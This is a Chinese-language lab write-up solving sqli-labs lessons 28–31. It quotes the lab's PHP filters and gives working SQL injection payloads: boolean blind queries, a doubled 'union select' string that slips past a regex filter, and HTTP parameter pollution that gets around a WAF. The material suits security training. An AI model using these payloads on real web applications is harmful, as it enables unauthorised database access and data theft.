sqli-labs通关28-31
1.lesson-28 布尔盲注
过滤了
$id= preg_replace('/[\/\*]/',"", $id);//strip out /*
$id= preg_replace('/[--]/',"", $id);//Strip out --.
$id= preg_replace('/[#]/',"", $id);//Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
判断注入:
单引号括号注入
?id=1') and ('1')=('1
关闭了报错,布尔盲注
判断数据库长度:
?id=1') and(length(database())=8)||('
数据库第一个字母
?id=1')and(select (ascii(substr(database(),1,1)))=115)||('
其他步骤看lesson26a
2.lesson28a 布尔或联合注入
过滤了:
只是过滤了union select
i表示不区分大小写
+表示匹配一次或多次
判断注入:
单引号括号注入
没报错,布尔盲注
判断数据库长度:
?id=1') and length(database())=8 and ('1')=('1
判断数据的第一个字符:
id=1') and (select ascii(substr((database()),1,1)))=115 and ('1')=('1
这个地方要注意,使用'闭合也可以,后面注释用and'1'='1或||'或||'1'='1都可以,其他注释符不可以,因为前面会多出一个括号,需要是盲注,应该都可以,时间和布尔
但当使用联合注入时,闭合符号必须正确,不管使用哪一种注释符都不可以
其他步骤参考前面的布尔盲注
或
union select联合注入
preg_replace('/union\s+select/i',"", $a);
union union select select 绕过正则匹配,从头到尾开始匹配,第一个字符union 加空格匹配上了,下一个字符union没匹配上,从头在开始匹配,第二个union加空格匹配上了后面的select匹配上了,因为第一次已经从union union select select开始匹配的,没成功,它就会继续往下匹配下一个字符,当下一个字符匹配上了,替换后也不会继续union union select select从头开始匹配,所以说就绕过了正则匹配替换
查数据库:
?id=-1') union union select select 1,database(),3 -- +
其他步骤看前面的题
3.lesson-29 http参数污染的union select
index.php
判断注入:
单引号注入
?id=1'-- +
查数据库:
?id=-1' union select 1,2,database()-- +
以上方法是index.php,这关要访问的应该是login.php
login.php
传入单引号,提示被waf拦截了
使用参数污染绕过了,为单引号注入
?id=1&id=-1'
查用户:
?id=1&id=-1'union select 1,2,user()-- +
4.lesson-30 http参数污染union select
index.php
判断注入:
双引号注入
?id=1"-- +
查数据库:
?id=-1" union select 1,2,database()-- +
以上方法是index.php,这关要访问的应该是login.php
login.php
传入单引号,提示被waf拦截了
使用参数污染绕过了,为双引号注入
?id=1&id=-1"
查数据库:
?id=1&id=-1" union select 1,2,database()-- +
5.lesson-31 http参数污染的union select
index.php
判断注入:
双引号括号注入
?id=1")-- +
查数据库:
?id=-1") union select 1,2,database()-- +
以上方法是index.php,这关要访问的应该是login.php
login.php
传入单引号,提示被waf拦截了
使用参数污染绕过了,为单引号注入
?id=1&id=-1")-- +
查数据库:
?id=1&id=-1") union select 1,2,user()-- +